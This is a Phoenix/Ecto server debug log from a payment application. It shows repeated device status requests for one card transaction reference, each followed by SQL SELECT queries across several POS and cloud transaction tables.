SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:16.662000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49138] QUERY OK source="cloud_transaction" db=0.5ms queue=0.1ms idle=835.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:16.663000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49138] Sent 200 in 24ms
[Thu Sep  3 10:07:21.711000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:44210] POST /api/device/status
[Thu Sep  3 10:07:21.712000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:44210] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:21.712000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:44210] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:21.712000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:44210] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:21.725000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:44210] QUERY OK source="pos_transaction" db=12.9ms idle=1885.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:21.726000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:44210] QUERY OK source="pos_temp_transaction" db=0.4ms idle=1898.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:21.731000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:44210] QUERY OK source="pos_failed_transaction" db=3.9ms idle=1899.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:21.733000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:44210] QUERY OK source="cloud_transaction" db=1.6ms idle=1326.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:21.733000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:44210] Sent 200 in 21ms
[Thu Sep  3 10:07:26.706000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:44220] POST /api/device/status
[Thu Sep  3 10:07:26.706000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:44220] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:26.707000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:44220] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:26.707000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:44220] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:26.725000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:44220] QUERY OK source="pos_transaction" db=18.1ms idle=1880.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:26.727000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:44220] QUERY OK source="pos_temp_transaction" db=0.9ms idle=1899.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:26.731000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:44220] QUERY OK source="pos_failed_transaction" db=2.5ms queue=1.1ms idle=1900.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:26.733000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:44220] QUERY OK source="cloud_transaction" db=1.2ms idle=1904.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:26.733000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:44220] Sent 200 in 27ms
[Thu Sep  3 10:07:31.719000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50602] POST /api/device/status
[Thu Sep  3 10:07:31.719000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50602] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:31.719000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50602] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:31.720000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50602] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:31.734000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50602] QUERY OK source="pos_transaction" db=14.4ms queue=0.1ms idle=1889.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:31.735000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50602] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1904.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:31.739000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50602] QUERY OK source="pos_failed_transaction" db=2.9ms idle=1905.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:31.739000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50602] QUERY OK source="cloud_transaction" db=0.5ms idle=1907.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:31.740000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50602] Sent 200 in 20ms
[Thu Sep  3 10:07:36.729000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50614] POST /api/device/status
[Thu Sep  3 10:07:36.730000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50614] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:36.730000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50614] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:36.730000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50614] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:36.744000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50614] QUERY OK source="pos_transaction" db=13.6ms idle=1901.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:36.746000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50614] QUERY OK source="pos_temp_transaction" db=0.9ms idle=1915.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:36.749000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50614] QUERY OK source="pos_failed_transaction" db=2.9ms idle=1917.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:36.750000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50614] QUERY OK source="cloud_transaction" db=0.6ms idle=1920.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:36.751000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50614] Sent 200 in 21ms
[Thu Sep  3 10:07:41.758000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:32808] POST /api/device/status
[Thu Sep  3 10:07:41.759000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:32808] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:41.760000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:32808] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:41.760000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:32808] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:41.775000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:32808] QUERY OK source="pos_transaction" db=14.7ms idle=1931.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:41.776000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:32808] QUERY OK source="pos_temp_transaction" db=0.6ms queue=0.1ms idle=1946.5ms
